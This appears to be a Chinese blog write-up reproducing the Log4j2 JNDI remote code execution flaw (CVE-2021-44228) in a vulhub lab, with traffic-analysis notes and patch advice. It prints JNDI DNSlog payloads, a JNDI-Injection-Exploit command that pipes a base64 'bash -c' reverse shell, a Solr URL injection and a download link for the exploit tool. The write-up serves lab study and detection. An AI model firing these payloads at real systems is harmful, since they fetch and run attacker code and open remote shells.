CVE-2021-44228 Apache Log4j2 远程代码执行漏洞复现

0x01 声明:

仅供学习参考使用,请勿用作违法用途,否则后果自负。

之所以复现这个漏洞,是因为在事件分析过程中存在大部分外带Dnslog回显的事件,确实不知道如何研判比较合适,所以做这个漏洞复现,了解下Dnslog回显的过程,方便后期研判分析。

0x02 简介:

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

0x03 漏洞概述:

apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广。

0x04 影响版本:

Apache Log4j 2.x <= 2.14.1

受影响组件:

Spring-boot-strater-log4j2

Apache Solr Apache Flink

Apache Druid

0x05 环境搭建:

Docker环境: 参考这篇文章()

漏洞环境: 1、下载vulhub()

(https://github.com/vulhub/vulhub)

2、进入vulhub/log4j/CVE-2021-44228环境

3、启动docker环境

4、访问系统

0x06 漏洞复现:

构造Dnslog回显 payload:

也有大佬在构造Dnslog回显 payload的时候使用的是${jndi:ldap://xxx.dnslog.cn}实际用处是一样的。

${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}

${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}

打开获取域名:

Dnslog请求:

1、web服务器回显内容:

2、Dnslog平台信息:

EXP利用:

1、下载:

链接:https://pan.baidu.com/s/17xwvrg_If6XBxHv-qG8wrA?pwd=djwg 
提取码:djwg

2、使用:

前期自己在Windows上使用exp,发现并没有给出能利用的POC,后来在Kali使用才提示,请大家复现时候,避坑!!

3、命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxx}|{base64,-d}|bash" -A xxx

4、利用第3步中得到的payload:

5、 url拼接构造反弹shell的payload:

http://192.168.18.130:8983/solr/admin/cores?action=${jndi:xxx}

6、Kali 起监听:

0x07 流量分析:

Dnslog流量特征:

从特征中可看出来,单从一个安全设备是无法确认Dnslog是否成功回显的,需要借助全流量设备查看DNS流量看被害主机于DNS是否有相关报文交互。(安全设备只会将请求的url留存下载,而后面的DNS数据包基本都不会捕获)

EXP流量特征:

1、客户端请求web服务:

2、请求之后,被攻击主机立马回请求,中间机的payload中的地址和端口:

3、被攻击主机 先请求payload中的1389,然后请求了,中间机的8081的/ExecTemplateJDK8.class的url

4、随后访问反弹shell的端口

0x08 修复建议:

1、更新log4j至 rc2(

2、升级受影响的应用及组件

经验分享 程序员 微信小程序 职场和发展